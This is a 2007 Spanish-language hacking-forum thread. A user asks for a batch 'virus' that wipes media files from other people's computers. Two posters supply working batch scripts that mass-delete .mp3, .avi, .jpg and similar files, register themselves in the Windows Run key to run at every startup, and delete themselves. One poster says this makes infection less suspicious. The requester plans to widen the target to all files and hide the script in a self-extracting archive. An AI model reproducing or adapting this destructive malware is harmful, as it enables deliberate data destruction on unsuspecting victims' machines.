Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Meta en 8 Agosto 2007, 01:06 am


Título: Nuevo virus borra archivos MP3 del disco duro
Publicado por: Meta en 8 Agosto 2007, 01:06 am
En al noticia de abajo, pues mira, apra entrgar este virus a ciertos individuos.

Se me ocurre hacer un archivo bat que haga lo del virus que infica abajo.

Mi idea es:

Que encuentre por todos, no todo, sino todos los discos duros y particiones los archivos...

*.mp3
*.mpg
*.jpg
*.avi

en archivo bat (que alguien si sabe ahcerlo que lo haga) Y yo lo apsaré a C# y les entregaré el código fuente.






Nuevo virus borra archivos MP3 del disco duro.

Si pudiera imaginarse un virus "soñado" para la industria discográfica, ese virus ya existe y se llama "W32.Deletemusic" ("borramúsica").

Diario Ti: No es aventurado suponer que la propia industria discográfica ha puesto en circulación un nuevo virus informático al que Symantec ha dado el autoexplicativo nombre "W32.Deletemusic".

En nuestros días, rara vez se tiene noticia de un virus o gusano que borre archivos. La mayoría de los códigos malignos actuales tienen más bien una motivación económica.

Sin embargo, W32.Deletemusic (“w32.borrarmúsica") parece ser de la antigua escuela.

El virus en cuestión no borra formatos con protección anticopia, sino exclusivamente los archivos MP3 que encuentre en el sistema.

El gusano en cuestión no es especialmente peligroso. Symantec indica que su grado de propagación es mínimo y que sólo infecta a los sistemas mediante los procedimientos “antiguos"; es decir, mediante memorias USB o CD.


Fuente:
http://www.diarioti.com/gate/n.php?id=14881 (http://www.diarioti.com/gate/n.php?id=14881)

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: chrominum en 9 Agosto 2007, 23:13 pm
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo cd C:\Documents and Settings\%USERNAME%\Configuración local\Datos de programa\Ares\My Shared Folder >> virus.bat
echo del /q *.mp3 >> virus.bat
echo del /q *.avi >> virus.bat
echo del /q *.mpg >> virus.bat
echo del /q *.wmv >> virus.bat
echo cd C:\Archivos de programa\eMule\Incoming >> virus.bat
echo del /q *.mp3 >> virus.bat
echo del /q *.avi >> virus.bat
echo del /q *.mpg >> virus.bat
echo del /q *.wmv >> virus.bat
echo cd donde guarde kazaa los archivos >> virus.bat
echo del /q *.mp3 >> virus.bat
echo del /q *.avi >> virus.bat
echo del /q *.mpg >> virus.bat
echo del /q *.wmv >> virus.bat
echo cd C:\Documents and Settings\%USERNAME%\Mis documentos\Mis archivos recibidos >> virus.bat
echo del /q *.mp3 >> virus.bat
echo del /q *.avi >> virus.bat
echo del /q *.mpg >> virus.bat
echo del /q *.wmv >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d 
C:\windows\system32 /f 
start c:\windows\system32\virus.bat
exit

Eso serviría si el usuario no a cambiado las carpetas predeterminadas donde se guarda en cada p2p (notese que no se donde baja el kazaa asi que donde yo puse "donde guarde kazaa los archivos" poned la dirección donde se guarda. Si sabéis de un p2p pues seguid el mismo proceso que los anteriores. También si queréis que se borre otra extension pues añadirla. Cambiar el nombre de virus.bat por un nombre amenazador. Critiquen!! ;D

PD: Mis archivos recibidos lo pongo por lo del msn, no quede ni uno vivo!!!  ;D

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: Meta en 9 Agosto 2007, 23:37 pm
Muchas gracias.

En archivos recibidos yo pondré esto *.*

Lo meteré dentro con un winrar autoejecutable.

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: Red Mx en 10 Agosto 2007, 00:04 am
No entender a eso le llaman virus hoy en dia  :-(

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: Gordo en 10 Agosto 2007, 00:06 am
mejor que ese bat no caiga en manos de los locos de la SGAE

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: Meta en 10 Agosto 2007, 13:31 pm
¿SGAE?

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: chrominum en 10 Agosto 2007, 13:55 pm
La SGAE es: Sociedad General de Autores y Editores. ;)

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: Zeroql en 10 Agosto 2007, 14:23 pm
pero yo a eso le llamaria funcion, como puede ser virus, si se necesita que sea ejecuta por un usuario.
pero esta muy bueno, voy a ver  si se peude pasar a un lenguaje y que infecte exes, yo diria que esto me tomara tiempo ya que mi horario de estudios no es que sea muy comodo para mi. pero ahi veremos.

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: Meta en 10 Agosto 2007, 16:30 pm
Cita de: Zeroql en 10 Agosto 2007, 14:23 pm
pero yo a eso le llamaria funcion, como puede ser virus, si se necesita que sea ejecuta por un usuario.
pero esta muy bueno, voy a ver  si se peude pasar a un lenguaje y que infecte exes, yo diria que esto me tomara tiempo ya que mi horario de estudios no es que sea muy comodo para mi. pero ahi veremos.


Si lo haces con C#, C, C++...

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: Red Mx en 10 Agosto 2007, 21:37 pm
con todo respeto hacer esto en cualquier lenguaje es muy sencillo no se crescan por eso.

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: chrominum en 10 Agosto 2007, 21:43 pm
Ya se que es sencillo. Solo porque le haya publicado lo que el quería, me he crecido?

Título: Re: Nuevo virus borra archivos MP3 del disco duro
Publicado por: Crazy.sx en 12 Octubre 2007, 08:51 am
Yo lo haría asi de sencillo y efectivo para cualquier unidad del PC

Código:
@echo off
reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d "C:\windows\system32\virus.bat" /f
if exist %Systemroot%\System32\ref.dll goto kaboom
:kaboom
cd \
if exist C:\ del /s *.mp3|del /s *.mpg|del /s *.jpg|del /s *.avi
if exist D:\ del /s *.mp3|del /s *.mpg|del /s *.jpg|del /s *.avi
if exist X:\ del /s *.mp3|del /s *.mpg|del /s *.jpg|del /s *.avi
goto FIN
echo SOLO_REFERENCIA>"%Systemroot%\System32\ref.dll"
:FIN
del %Systemroo%\System32\ref.dll
del *.bat
:EOF
exit

De esta manera se eliminan los archivos en cada carpeta de la Unidad seleccionada existente en el disco únicamente al iniciar Windows y no cuando lo ejecuten, de esta manera no será tan sospechoso cuando tengas que infectar. Fijate en donde está X le podes poner las unidades de disco que quieras y asi sucesivamente hasta llegar hasta donde quieras. (he visto computadoras que tiene hasta la unidad Z)


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines